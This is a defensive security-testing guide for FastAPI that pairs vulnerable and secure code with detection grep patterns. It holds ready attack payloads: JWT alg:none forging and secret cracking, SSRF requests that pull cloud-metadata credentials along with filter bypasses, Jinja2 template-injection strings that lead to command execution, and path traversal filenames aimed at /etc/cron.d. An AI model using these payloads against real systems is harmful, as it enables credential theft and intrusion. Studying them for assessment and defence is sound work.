FastAPI Security Testing: Authentication, Injection, and Pydantic Bypass Vulnerabilities
FastAPI has become the default Python framework for new API projects — its automatic OpenAPI documentation, Pydantic-based validation, and async-native design make it genuinely productive. But the same features that accelerate development introduce security pitfalls that are easy to miss during code review. Pydantic's flexible configuration opens the door to mass assignment. The dependency injection system can leave entire routers unprotected. The built-in /docs endpoint exposes your full API schema to anyone who knows the path.
This guide walks through the vulnerability classes most relevant to FastAPI applications, how to identify them in source code or via black-box testing, and the specific patterns to probe when assessing a FastAPI service in the field.
JWT Authentication Bypass
FastAPI does not ship a JWT implementation — developers typically reach for python-jose, PyJWT, or fastapi-users. Each library has footguns that produce authentication bypass vulnerabilities when not configured correctly.
# Test 1: alg:none bypass
# Decode an existing valid JWT, change alg to "none", strip the signature
import base64, json
header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b"=")
payload = base64.urlsafe_b64encode(json.dumps({"sub":"admin","role":"admin"}).encode()).rstrip(b"=")
token = header.decode() + "." + payload.decode() + "."
# Send it and see if the server accepts it
curl -H "Authorization: Bearer $token" https://target/api/admin/users
# Test 2: RS256 → HS256 confusion
# If the server uses RS256, grab the public key from /openapi.json or JWKS endpoint
# Sign a new token with HS256 using the *public key* as the HMAC secret
# python-jose and early PyJWT versions accept this
Missing Audience Validation
When a FastAPI service omits the audience parameter during token verification, tokens issued for a different service (say, a mobile app) are accepted by the API backend. This matters in microservice architectures where multiple services share the same signing key:
# VULNERABLE — no audience check
from jose import jwt
def get_current_user(token: str):
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
# Accepts any valid token regardless of intended audience
return payload
# SECURE — audience validated
def get_current_user(token: str):
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"],
audience="api.yourservice.com" # reject tokens for other services
)
return payload
Weak Secret Brute-Force
HS256-signed JWTs are entirely offline-crackable if the secret is weak. During a pentest, capture any JWT from the API and run hashcat or jwt-cracker against it:
# Extract the JWT from an auth response or intercepted request
# Format for hashcat: full JWT as-is (header.payload.signature)
hashcat -a 0 -m 16500 captured.jwt /usr/share/wordlists/rockyou.txt
# john the ripper with a custom wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 captured.jwt
# jwt_tool for comprehensive JWT attacks
pip install jwt_tool
jwt_tool <JWT> -C -d /usr/share/wordlists/rockyou.txt # crack HS256
jwt_tool <JWT> -X a # alg:none
jwt_tool <JWT> -X s # RS256→HS256 confusion
Grep for weak or hardcoded secrets during code review:
grep -rn "SECRET_KEY\s*=\s*[\"']" .
grep -rn "jwt_secret\s*=\s*[\"']" .
grep -rn "secret.*=.*changeme\|secret.*=.*password\|secret.*=.*secret" . -i
Dependency Injection Security (Depends())
FastAPI's Depends() mechanism is how authentication and authorisation are applied to routes. The pattern is clean when done correctly — but a missing dependency on a router, a shared dependency that is only called for its side effects, or a scope mismatch in OAuth2PasswordBearer can leave routes entirely unprotected.
Depends() to individual routes during development, then refactor to a router — and forget to move the dependency to the router's constructor.
# VULNERABLE — authentication only on some routes, not the router
router = APIRouter(prefix="/admin")
@router.get("/users") # forgot the dependency
async def list_users(db: Session = Depends(get_db)):
return db.query(User).all()
@router.delete("/users/{id}")
async def delete_user(id: int,
current_user = Depends(get_current_admin), # only here
db: Session = Depends(get_db)):
...
# SECURE — dependency applied at router level, all routes inherit it
router = APIRouter(
prefix="/admin",
dependencies=[Depends(get_current_admin)] # every route in this router
)
@router.get("/users")
async def list_users(db: Session = Depends(get_db)):
return db.query(User).all()
OAuth2PasswordBearer Scope Bypass
FastAPI's OAuth2PasswordBearer only validates that a token is present and parseable — it does not enforce scopes unless you explicitly check them. A token issued with scope: "read" will be accepted by a write endpoint unless the dependency explicitly rejects insufficient scopes:
# VULNERABLE — scope declared but never checked
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token", scopes={"admin": "Admin access"})
@app.delete("/users/{id}")
async def delete_user(id: int, token: str = Depends(oauth2_scheme)):
# token is present and valid, but scope is never inspected
...
# SECURE — scope enforcement
from fastapi.security import SecurityScopes
async def get_current_user(
security_scopes: SecurityScopes,
token: str = Depends(oauth2_scheme)
):
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
token_scopes = payload.get("scopes", [])
for scope in security_scopes.scopes:
if scope not in token_scopes:
raise HTTPException(status_code=403, detail="Insufficient scope")
return payload
@app.delete("/users/{id}")
async def delete_user(id: int,
current_user = Security(get_current_user, scopes=["admin"])):
...
During testing, use a low-privilege token and attempt high-privilege operations. Check whether scope errors return 401/403 or whether the endpoint executes normally:
# Intercept a login response, decode the JWT, note the scopes
# Then hit admin/write endpoints with a read-only token
curl -X DELETE https://target/api/users/1 \
-H "Authorization: Bearer <read-only-token>"
Pydantic Validation Bypass
Pydantic is FastAPI's input validation layer — but its defaults are configurable, and several configuration choices lead directly to exploitable vulnerabilities.
Mass Assignment via extra="allow"
Pydantic models with model_config = ConfigDict(extra="allow") (Pydantic v2) or class Config: extra = "allow" (Pydantic v1) accept and store any extra fields the client sends. When that model is passed to an ORM update method, the attacker can set fields the developer never intended to expose:
# VULNERABLE — Pydantic v2 with extra="allow"
from pydantic import BaseModel, ConfigDict
class UserUpdate(BaseModel):
model_config = ConfigDict(extra="allow") # accepts any field
name: str
email: str
@app.put("/users/me")
async def update_me(update: UserUpdate, db: Session = Depends(get_db),
current_user = Depends(get_current_user)):
# If client sends {"name": "Alice", "role": "admin", "is_active": true}
# update.model_extra contains {"role": "admin", "is_active": true}
db.query(User).filter(User.id == current_user.id).update(update.dict())
db.commit()
Test by sending unexpected fields in PUT/PATCH request bodies and checking whether they appear in subsequent GET responses:
# Send extra fields in the update body
curl -X PUT https://target/api/users/me \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"name": "Alice", "role": "admin", "is_superuser": true, "credits": 99999}'
# Then check your profile — did role or is_superuser change?
curl https://target/api/users/me -H "Authorization: Bearer <token>"
JSON Type Coercion Attacks
Pydantic coerces types by default. An integer field will accept the string "1", a boolean field accepts 1, 0, "true", "false", "yes", "on". This matters when downstream comparisons use strict equality:
# VULNERABLE — boolean field with coercion exploited
class PaymentRequest(BaseModel):
amount: float
is_test: bool = False # coerces "yes", "1", "true", 1, etc.
# An attacker sends:
# {"amount": 999.99, "is_test": "yes"}
# Pydantic coerces "yes" → True, bypassing real payment processing
# Grep for boolean fields that gate security decisions
grep -rn "is_admin\|is_superuser\|is_staff\|is_test\|skip_auth" app/ --include="*.py"
Nested Model Injection
Nested Pydantic models can mask injection points. When a top-level model has extra="ignore" but a nested model uses extra="allow", extra fields are accepted through the nested model's namespace:
# Partially vulnerable — nested model leaks extra fields
class Address(BaseModel):
model_config = ConfigDict(extra="allow") # dangerous nested config
street: str
city: str
class UserCreate(BaseModel):
name: str
email: str
address: Address # inherits the nested model's permissiveness
# Attacker payload:
# {"name": "Bob", "email": "bob@example.com",
# "address": {"street": "1 Main St", "city": "Amsterdam",
# "billing_override": true, "internal_flag": 1}}
SQL Injection via SQLAlchemy ORM
SQLAlchemy's ORM provides parameterised queries by default, but two common patterns break that safety: using text() with f-strings, and raw queries in async routes with the databases package.
text() function executes raw SQL. When combined with Python f-strings or string concatenation, it bypasses all ORM parameterisation.
# VULNERABLE — f-string inside text()
from sqlalchemy import text
@app.get("/users/search")
async def search_users(q: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(text(f"SELECT * FROM users WHERE username LIKE '%{q}%'"))
return result.fetchall()
# Payload: q = %' UNION SELECT username,password,null FROM users --
# SECURE — bound parameters with text()
@app.get("/users/search")
async def search_users(q: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(
text("SELECT * FROM users WHERE username LIKE :query"),
{"query": f"%{q}%"}
)
return result.fetchall()
# SECURE — ORM query (always parameterised)
@app.get("/users/search")
async def search_users(q: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(
select(User).where(User.username.like(f"%{q}%"))
)
return result.scalars().all()
Raw SQL in Async Routes with the databases Package
The databases package (popular in async FastAPI setups before SQLAlchemy added native async support) has a similar footgun:
# VULNERABLE — databases package with string formatting
import databases
database = databases.Database(DATABASE_URL)
@app.get("/products/{category}")
async def get_products(category: str):
query = "SELECT * FROM products WHERE category = '" + category + "'"
rows = await database.fetch_all(query=query)
return rows
# SECURE — named parameters
@app.get("/products/{category}")
async def get_products(category: str):
query = "SELECT * FROM products WHERE category = :category"
rows = await database.fetch_all(query=query, values={"category": category})
return rows
Code review search commands for SQLAlchemy injection patterns:
grep -rn "text(f[\"']" . --include="*.py"
grep -rn "text(\".*{" . --include="*.py"
grep -rn "execute(f[\"']" . --include="*.py"
grep -rn "fetch_all.*+\|fetch_one.*+" . --include="*.py"
grep -rn "\.filter(.*f[\"']\|\.where(.*f[\"']" . --include="*.py"
SSRF via httpx and aiohttp
FastAPI's async nature means developers reach for async HTTP clients — httpx and aiohttp are the most common. Both follow redirects by default, resolve DNS at request time, and will happily fetch cloud metadata endpoints if given user-controlled URLs.
# VULNERABLE — user-supplied URL fetched without validation
import httpx
@app.post("/webhooks/test")
async def test_webhook(url: str = Body(...)):
async with httpx.AsyncClient() as client:
resp = await client.post(url, json={"test": True})
return {"status": resp.status_code}
# Also vulnerable — URL in background task (harder to observe)
from fastapi import BackgroundTasks
@app.post("/notifications/register")
async def register(webhook_url: str, background_tasks: BackgroundTasks):
background_tasks.add_task(send_notification, webhook_url)
return {"registered": True}
async def send_notification(url: str):
async with httpx.AsyncClient() as client:
await client.post(url, json={"event": "test"})
SSRF Payloads for Cloud Environments
# AWS IMDSv1 — no additional headers required
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS IMDSv1 — get role credentials (replace ROLE-NAME)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# GCP metadata — Metadata-Flavor header required; some apps forward all headers
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Internal service enumeration
http://localhost:8080/admin
http://127.0.0.1:5432/ # PostgreSQL
http://10.0.0.1/internal-api
# Bypass techniques for allowlist-based filters
http://0177.0.0.1/ # Octal IP (127.0.0.1)
http://0x7f000001/ # Hex IP
http://2130706433/ # Decimal IP
http://127.1/ # Short form
http://[::1]/ # IPv6 loopback
http://allowed.domain.com@169.254.169.254/ # URL authority confusion
Webhook URL Validation Bypass
Allowlist-based SSRF defences in Python are frequently bypassable. DNS rebinding and redirect chains are the most reliable:
# DNS rebinding: register a domain that resolves to an external IP initially,
# then switches to 169.254.169.254 after the allowlist check passes
# Redirect chain: host a redirect on an allowed domain
# GET https://your-trusted-redirect.example.com/r?to=http://169.254.169.254/...
# → 301 Location: http://169.254.169.254/latest/meta-data/
# httpx follows redirects by default — check follow_redirects=False in the code
grep -rn "follow_redirects\|allow_redirects" . --include="*.py"
grep -rn "httpx.get\|httpx.post\|httpx.AsyncClient" . --include="*.py"
grep -rn "aiohttp.ClientSession" . --include="*.py"
Server-Side Template Injection in Jinja2
Some FastAPI applications serve HTML admin pages or email templates using Jinja2 directly. When user input is embedded into a template string at render time — rather than passed as a context variable — Jinja2's expression evaluation makes it a server-side template injection vulnerability:
# VULNERABLE — user input rendered AS template, not IN template
from jinja2 import Template
from fastapi.templating import Jinja2Templates
@app.get("/preview")
async def preview(name: str):
# name is part of the template source, not the context
tmpl = Template(f"Hello {name}, welcome to our platform.")
return HTMLResponse(tmpl.render())
# Payload: name={{7*7}} → "Hello 49, welcome..."
# Payload: name={{''.__class__.__mro__[1].__subclasses__()}}
# SECURE — user input passed as context variable only
templates = Jinja2Templates(directory="templates")
@app.get("/preview")
async def preview(request: Request, name: str):
return templates.TemplateResponse("welcome.html", {
"request": request,
"name": name # rendered as {{ name }} in the template — safely escaped
})
SSTI test payloads for Jinja2:
{{7*7}} # basic math — confirms SSTI if returns 49
{{config}} # dump Flask/FastAPI config object
{{''.__class__.__mro__}} # Python MRO traversal
{{''.__class__.__mro__[1].__subclasses__()}} # list all subclasses
# RCE via subprocess.Popen (find its index in subclasses list):
{{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1).communicate()}}
Path Traversal in File Upload Endpoints
FastAPI's UploadFile handler passes the client-supplied filename directly as a string. When that filename is used to construct a storage path without sanitisation, directory traversal allows writing files outside the intended upload directory:
# VULNERABLE — filename used directly from client
import os
from fastapi import UploadFile
@app.post("/upload")
async def upload_file(file: UploadFile):
dest = os.path.join("/var/app/uploads/", file.filename)
# file.filename = "../../etc/cron.d/backdoor"
# dest = "/etc/cron.d/backdoor"
with open(dest, "wb") as f:
content = await file.read()
f.write(content)
return {"filename": file.filename}
# SECURE — strip path components and generate a safe name
import uuid
from pathlib import Path
UPLOAD_DIR = Path("/var/app/uploads")
@app.post("/upload")
async def upload_file(file: UploadFile):
# Option 1: ignore the original filename entirely
safe_name = f"{uuid.uuid4()}{Path(file.filename).suffix}"
# Option 2: sanitise if you must preserve the name
safe_name = Path(file.filename).name # strips directory components
if ".." in safe_name or safe_name.startswith("/"):
raise HTTPException(400, "Invalid filename")
dest = UPLOAD_DIR / safe_name
# Verify the resolved path is still inside UPLOAD_DIR
if not dest.resolve().is_relative_to(UPLOAD_DIR.resolve()):
raise HTTPException(400, "Path traversal detected")
dest.write_bytes(await file.read())
return {"filename": safe_name}
Path traversal test payloads for file upload endpoints:
# In multipart form uploads, set the filename field to:
../../etc/passwd
../../../tmp/test.txt
....//....//etc/passwd # double-encoded traversal
%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encoded
..%252f..%252fetc%252fpasswd # double URL-encoded
# Using curl to test:
curl -X POST https://target/api/upload \
-F "file=@local.txt;filename=../../etc/cron.d/backdoor"
Background Task Security
FastAPI's BackgroundTasks runs after the response is returned, in the same process context as the request handler. This creates two security issues: background tasks run with whatever permissions the application process holds (no privilege drop), and GET endpoints that trigger background tasks can be called without CSRF protection since browsers will preload GET URLs.
# DANGEROUS PATTERN — state-changing GET endpoint with background task
@app.get("/activate-account")
async def activate(token: str, background_tasks: BackgroundTasks):
background_tasks.add_task(activate_user_account, token)
# GET endpoint that changes state — CSRF via image tag or link
# <img src="https://target/activate-account?token=VICTIM_TOKEN">
return {"message": "Activating..."}
# ALSO RISKY — background task runs with full DB/filesystem access
@app.post("/reports/generate")
async def generate_report(report_type: str, background_tasks: BackgroundTasks,
current_user = Depends(get_current_user)):
background_tasks.add_task(run_report, report_type)
# run_report executes with the application's full DB permissions
# report_type is user-controlled — injection risk in the task itself
return {"status": "queued"}
During a security review, identify GET endpoints that perform mutations, and trace what data flows from request parameters into background task arguments:
grep -rn "background_tasks.add_task" . --include="*.py"
grep -rn "@app.get\|@router.get" . --include="*.py" | grep -v "# read-only"
# Look for GET routes that write to DB, send emails, or trigger external calls
CORS Misconfiguration
FastAPI's CORSMiddleware has a well-documented but persistently misunderstood constraint: you cannot set allow_origins=["*"] together with allow_credentials=True. Browsers refuse this combination, so developers "fix" it by using a wildcard pattern differently — or by reflecting the request's Origin header back as the allowed origin, which is functionally equivalent to a wildcard but bypasses the browser check.
# VULNERABLE — wildcard + credentials (browsers reject this, so developers "fix" it)
from fastapi.middleware.cors import CORSMiddleware
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True, # contradicts the wildcard — browser blocks it
allow_methods=["*"],
allow_headers=["*"],
)
# ALSO VULNERABLE — reflecting Origin header to "fix" the above
@app.middleware("http")
async def cors_fix(request: Request, call_next):
response = await call_next(request)
origin = request.headers.get("origin", "")
response.headers["Access-Control-Allow-Origin"] = origin # reflects any origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
# SECURE — explicit allowlist
app.add_middleware(
CORSMiddleware,
allow_origins=["https://app.yourcompany.com", "https://admin.yourcompany.com"],
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["Authorization", "Content-Type"],
)
Test for CORS misconfiguration:
# Send a credentialed CORS preflight from an unexpected origin
curl -s -X OPTIONS https://target/api/users \
-H "Origin: https://evil.attacker.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
-v 2>&1 | grep -i "access-control"
# If Access-Control-Allow-Origin: https://evil.attacker.com is returned
# and Access-Control-Allow-Credentials: true — the application is exploitable
# Burp Suite: Repeater → add Origin header → check response headers
Debug Mode and OpenAPI Schema Exposure
FastAPI automatically generates and serves /docs (Swagger UI), /redoc, and /openapi.json by default. In production, these endpoints expose your complete API surface: every route, all parameters, authentication requirements, and response schemas. Sensitive internal endpoints, parameter names that reveal database column names, and undocumented fields all become visible.
# Fetch the full API schema — works on any default FastAPI deployment
curl https://target/openapi.json | python3 -m json.tool
# Extract all routes from the schema
curl -s https://target/openapi.json | python3 -c "
import json, sys
schema = json.load(sys.stdin)
for path, methods in schema.get('paths', {}).items():
for method in methods:
print(f'{method.upper()} {path}')
"
# Look for internal/admin routes that aren't linked from the UI
# Look for parameters with names like user_id, internal_flag, admin_override
# Check security schemes — are any routes missing the securityRequirement field?
Disabling OpenAPI Endpoints in Production
# Disable completely
app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)
# Or gate behind authentication
from fastapi import Depends
async def verify_internal_token(token: str = Header(...)):
if token != INTERNAL_DOCS_TOKEN:
raise HTTPException(403)
app = FastAPI(
docs_url="/internal/docs",
redoc_url="/internal/redoc",
openapi_url="/internal/openapi.json",
)
# Add a dependency to the docs routes — FastAPI doesn't support this natively,
# so serve them only in non-production environments via a startup flag:
import os
app = FastAPI(
docs_url="/docs" if os.getenv("ENV") != "production" else None,
redoc_url="/redoc" if os.getenv("ENV") != "production" else None,
)
Security Testing Checklist for FastAPI Applications
| Test | What to Look For | Tool / Method |
|---|---|---|
| JWT bypass | alg:none, RS256→HS256 confusion, weak HS256 secret | jwt_tool, hashcat, python-jose audit |
| Missing Depends() | Router-level vs route-level dependency gaps | Code review, unauthenticated requests |
| Scope bypass | OAuth2PasswordBearer without SecurityScopes check | Low-privilege token on privileged endpoints |
| Mass assignment | Pydantic extra="allow", ORM update with full model | Extra fields in PUT/PATCH bodies |
| SQL injection | text(f"..."), string concat in queries | grep, sqlmap, manual payload testing |
| SSRF | httpx/aiohttp with user-supplied URLs | Cloud metadata payloads, Burp Collaborator |
| SSTI | Jinja2 Template(f"...{user_input}...") | {{7*7}} payload, tplmap |
| Path traversal | UploadFile.filename used in os.path.join | ../payload in multipart filename field |
| CORS misconfiguration | Reflected Origin with allow_credentials=True | Origin header manipulation, Burp Suite |
| OpenAPI exposure | /docs, /redoc, /openapi.json in production | Direct request to default paths |
Static Analysis and Code Review Commands
Run these grep patterns against a FastAPI codebase to surface the highest-risk patterns quickly:
# JWT and authentication
grep -rn "algorithms=\[\"none\"\]\|algorithms=\['none'\]" . --include="*.py"
grep -rn "jwt.decode\|jose.jwt.decode" . --include="*.py"
grep -rn "SECRET_KEY\s*=\s*[\"']" . --include="*.py"
# Dependency injection gaps
grep -rn "APIRouter(" . --include="*.py" | grep -v "dependencies="
grep -rn "@router\.\|@app\." . --include="*.py" | grep -v "Depends"
# Pydantic mass assignment
grep -rn "extra.*=.*allow\|extra.*=.*\"allow\"" . --include="*.py"
grep -rn "\.dict()\|\.model_dump()" . --include="*.py"
# SQL injection
grep -rn "text(f[\"']\|text(\".*{" . --include="*.py"
grep -rn "execute.*+\|execute.*%" . --include="*.py"
# SSRF
grep -rn "httpx\.\|aiohttp\.ClientSession" . --include="*.py"
grep -rn "requests\.get\|requests\.post" . --include="*.py"
# File upload
grep -rn "UploadFile\|file\.filename" . --include="*.py"
grep -rn "os\.path\.join.*filename\|open.*filename" . --include="*.py"
# CORS
grep -rn "allow_origins.*\*\|allow_credentials.*True" . --include="*.py"
grep -rn "Access-Control-Allow-Origin.*origin\|Access-Control-Allow-Origin.*headers" . --include="*.py"
# OpenAPI in production
grep -rn "docs_url=None\|openapi_url=None" . --include="*.py"
# Automated scanners
pip install bandit
bandit -r . -ll # Python security linter
semgrep --config=p/python --config=p/fastapi .
Ironimo runs Kali Linux-powered security scans against your FastAPI services — the same tools a professional pentester uses, available on demand without scheduling a penetration testing engagement.
Start free scan